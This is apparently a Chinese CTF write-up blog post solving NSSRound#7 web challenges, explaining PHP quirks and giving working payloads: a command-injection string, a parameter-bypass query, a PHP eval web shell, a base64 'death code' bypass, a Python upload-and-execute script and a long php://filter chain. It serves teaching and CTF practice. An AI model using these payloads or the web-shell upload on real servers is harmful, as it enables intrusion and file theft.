NSSRound#7

【更新中】[NSSRound#7 Team]web

[NSSRound#7 Team]ec_RCE

直接扫描目录得到DS_Store,进去会发现能看到Ns_SCtF.php。

源码:

1
2
3
4
5
6
7
8
9
10
11
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);

putenv('LANG=zh_TW.utf8');

$action = $_POST["action"];
$data = "'".$_POST["data"]."'";

$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;

actiondata是可控的,并且会被拼接到output中然后被执行然后输出。可以RCE。

1
action=;&data='ls /'

PixPin_2025-11-05_14-50-43

[NSSRound#7 Team]0o0

目录扫描下载到源码我们进行一下代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
error_reporting(0);
highlight_file(__FILE__);

//$NSSCTF = $_GET['NSSCTF'] ?: '';
//$NsSCTF = $_GET['NsSCTF'] ?: '';
//$NsScTF = $_GET['NsScTF'] ?: '';
//$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!
  1. 第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2

  2. 第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q

  3. if (file_get_contents($NsScTf) === "Welcome to Round7!!!") 
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    在php手册中查询 **file_get_contents()** 函数的作用:

    **file_get_contents()** 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。

    > **注意**:
    >
    > 如果要打开有特殊字符的 URL (比如说有空格),就需要使用 [urlencode()](https://www.php.net/manual/zh/function.urlencode.php) 进行 URL 编码。

    显然我们没办法上传文件,但是能给参数传url想到php伪协议

    `data://` 会把 URI 中的数据当作“文件内容”读出。也就是说`file_get_contents('data://text/plain,Welcome to Round7!!!')` 会直接返回字符串 `Welcome to Round7!!!`,因此可以绕过对“真实文件路径”的期待。

    4.

    if (isset($_GET['nss_ctfer.vip'])) {
    1
    2
    3
    4
    5
    6
    7
    8
    9

    还是考的php特性,都有点忘了

    这是php中的非法参数名传参:

    ![PixPin_2025-11-05_20-35-14](https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-05_20-35-14.png)

    因此我们是没办法直接传入`nss_ctfer.vip`的,会被替换成`nss_ctfer_vip`,但是php中还有一个特性,如果传入`[`,它被转化为`_`之后,后面的字符就会被保留下来不会被替换。因此我们可以构造出来该变量名咯。

    nss[ctfer.vip
    1
    2
    3

    5. ```
    if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
    第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接`nSScTF=1,$nSscTF=NSSRound7`。
  4. if ($nss && $nSscTF === "NSSRound7") {
                            if (isset($_POST['submit'])) {
    
    1
    2
    3
    4
    5

    直接构造:`nSScTF=1&nSscTF=NSSRound7` 记得提交submit,

    得到这一部分payload

    ?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7 POST:submit=1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17

    以上全部都是php特性,可以参考一下[PHP 特性 - Hello CTF](https://hello-ctf.com/hc-tags/web/PHP_features/#0e-bypass)。接着往下看。

    这里是一个文件上传

    ```php
    <?php
    $file_name = urldecode($_FILES['file']['name']);
    $path = $_FILES['file']['tmp_name'];
    if(strpos($file_name, ".png") == false){
    die("NoO0P00oO0! Png! pNg! pnG!");
    }
    $content = file_get_contents($path);
    $real_content = '<?php die("Round7 do you like");'. $content . '?>';
    $real_name = fopen($file_name, "w");
    fwrite($real_name, $real_content);
    fclose($real_name);

上述代码通过strops()检测文件的名称是否存在png,但这种写法不严谨—— evil.png.php 也会通过检查。

关键是会将<?php die(“Round7 do you like”);与我们传的php拼接,就导致了如果直接在浏览器访问这个文件,PHP 会立即停止执行。

一个思路是在解码时将死亡代码给解码成乱码,使其无法作用。

1
2
3
4
5
6
<?php @eval($_POST['attack']);?>
base编码·:
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+

<?php die("Round7 do you like");aaaPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+?>
这里要补三个字母aaa,因为php解码时是四个byte一组

这样传后续我们使用php://filter/convert.base64-decode访问上传的文件,前面的die被解释为乱码就没办法执行了。

后续我们写个脚本实现上述所有传参和文件上传操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from base64 import b64encode
import re

def get_flag(URL):
url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
data = {'submit':1}

payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) #修改为自己想要执行的命令
payload = re.findall(r"b'(.*?)'",payload)[0]

file1 = {'file': ('1.png.php', f"aaa{payload}")}
file2 = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70', f"aaa{payload}")}

requests.post(url,data=data,files=file1)
requests.post(url,files=file2,data=data)
nssctf_text3 = requests.post(f'{URL}/1.png.php').text
print(nssctf_text3)

if __name__ == "__main__":
get_flag("")#这里输入url

PixPin_2025-11-06_18-02-38

但是其实一开始如果没有目录扫描的话还有一个level1level2。

请求头有一个参数,提示我们get传参

PixPin_2025-11-06_18-11-16

传参后得到代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php  
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) {
$O0O = file_get_contents($_GET['0o0'],1);
if (strpos($O0O, 'Round7') === 0) {
die('NO!!!!! Permission denied!');
} else if (strpos($O0O, 'Xy1on') === 0) {
echo $O0O;
die();
} else {
die("Nothing!!!");
}
}
if(isset($_GET['S0uRc3'])){
highlight_file(__FILE__);
$O0O = file_get_contents('CTF',1);
echo $O0O;
}else{
echo "Nothing here";

}

进行代码审计,

1
2
3
4
5
6
7
8
9
10
11
if (isset($_GET['0o0'])) {    
$O0O = file_get_contents($_GET['0o0'],1);
if (strpos($O0O, 'Round7') === 0) {
die('NO!!!!! Permission denied!');
} else if (strpos($O0O, 'Xy1on') === 0) {
echo $O0O;
die();
} else {
die("Nothing!!!");
}
}

我们需要传入$_GET['0o0']而且,参数通过strpos校验开头不能是Round7必须是Xy1on

1
$O0O = file_get_contents($_GET['0o0'],1);  

这一句代码中,1代表用了常量 FILE_USE_INCLUDE_PATH 用于触发搜索 include path,前面的代码

1
set_include_path('Round7/');  #把include_path设成Round7

当你传 ?0o0=xxx 时,代码会读入 xxx 指向的资源内容到 $O0O

重要:如果 xxx相对路径(如 level2),它会在 Round7/level2 读取。
但如果 xxx流封装器(如 php://filter/.../resource=level2data://...),则不再走 include_path 的相对查找规则,直接按封装器处理。这正是我们可以利用的点。

想要读 /flag 的内容,但脚本只会在输出内容的第一个字节开始就是 Xy1on 时才把内容回显。

显然,/flag 文件的真实内容不可能天然以 Xy1on 开头;我们需要“想办法让输出看起来以 Xy1on 开头”,而不是改原文件。

php://filter 是 PHP 的流过滤器封装器,允许在“读取资源”时,对字节流做一串可组合的转码/编解码/替换操作(filter chain)。形式大概是:

1
php://filter/read=<过滤器1>|<过滤器2>|.../resource=<真正的资源>

如果我们能找到一串过滤器,使得“level2 的原始内容 → 经过过滤器链的输出”的前缀恰好变成 Xy1on,就能触发 echo $O0O; 了。

Synacktiv 的 php_filter_chain_generator。它能针对一个想要的目标前缀(例如 Xy1on)自动搜一条可行的过滤器链,把实际文件内容“变形”成以这个前缀开头的输出。

项目地址:https://github.com/synacktiv/php_filter_chain_generator

生成filter链

image-20251107181156531

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

然后就能得到源码的路由了。

【待】[NSSRound#7 Team]新的博客

【待】[NSSRound#7 Team]ShadowFlag

references

NSSRound 7 Team复现 | ChenXun

[NSSRound#7 Team]Web学习_[nssround#7 team]新的博客-CSDN博客

[NSSRound#7_nssround#7 team]0o0-CSDN博客

https://www.php.net/manual/zh/function.file-get-contents.php

PHP: 来自 PHP 之外的变量 - Manual

ctfshow web123(php get或post变量名中非法字符转化下划线) - hithub - 博客园

PHP 特性 - Hello CTF

file_put_content和死亡·杂糅代码之缘-先知社区

NSSCTF-round8&&round7部分题目复现 - GTL_JU - 博客园

PHP: file_get_contents - Manual


NSSRound#7
http://example.com/2025/11/07/NSSRound-7/
作者
everythingis-ok
发布于
2025年11月7日
许可协议